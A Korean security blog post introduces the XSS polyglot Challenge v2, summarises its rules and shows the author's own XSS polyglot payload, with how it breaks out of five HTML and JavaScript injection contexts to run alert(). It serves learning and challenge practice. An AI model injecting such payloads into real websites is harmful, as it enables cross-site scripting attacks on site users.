https://polyglot.innerht.ml/
XSS polyglot Challenge에 대해 들어보셨나요? XSS polyglot 코드로 서로 겨뤄보는(?) 챌린지인데 polyglot은 실무에서도 어느정도 유용하게 쓰일 수 있어 해보시는걸 추천드립니다.
겸사겸사 XSS 코드에 대해 감도 올리고, 자신을 돌아보는 계기도 되지요 :)
최근에 시작한건 아니지만, 최근에 v2로 리뉴얼되면서 다시 코드에 대해 고민해보게 되었지요.
룰은 이렇습니다.
You will be given 20 common contexts in black-box # 0개 context에 대한 테스팅 No DOM sinks or external libraries are involved # 외부~DOM 구간 없음 Plain HTML injection with minimum filtering # HTML Injection 구간은 최소화된 필터링 A headless Chrome will try your payload # 헤드리스 브라우저로 테스트함(phantomJS같은, 여기선 크롬으로) Your payload should run alert() in 2+ contexts # alert()로 테스트 Payloads exceeding 1024 characters will always fail # 1024 글자 넘어가면 무조건 실패 Network is disabled # 네트워크 연결안됨
Example?
대략 이런 느낌의 코드입니다. (글쓰면서 대충 친거라 ... 아마 이거 올리면 등수에도 안들어갈 것 같네요)alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*
저 구문이 ..
var a = '[input]'
<img src="[input]">
<img src='[input]'>
<!-- [input] -->
<textarea>[input]</textarea>
등등 많은 케이스에서 통과할 수 있도록 하는 코드이지요.
var a = 'alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*'
<img src="alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*">
<img src='alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*'>
<!-- alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/* -->
<textarea>alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*</textarea>
평일때만해도 50 아래였는데, 별써 90대까지... |
HAHWULSecurity engineer, Gopher and H4cker! |
0 개의 댓글:
Post a Comment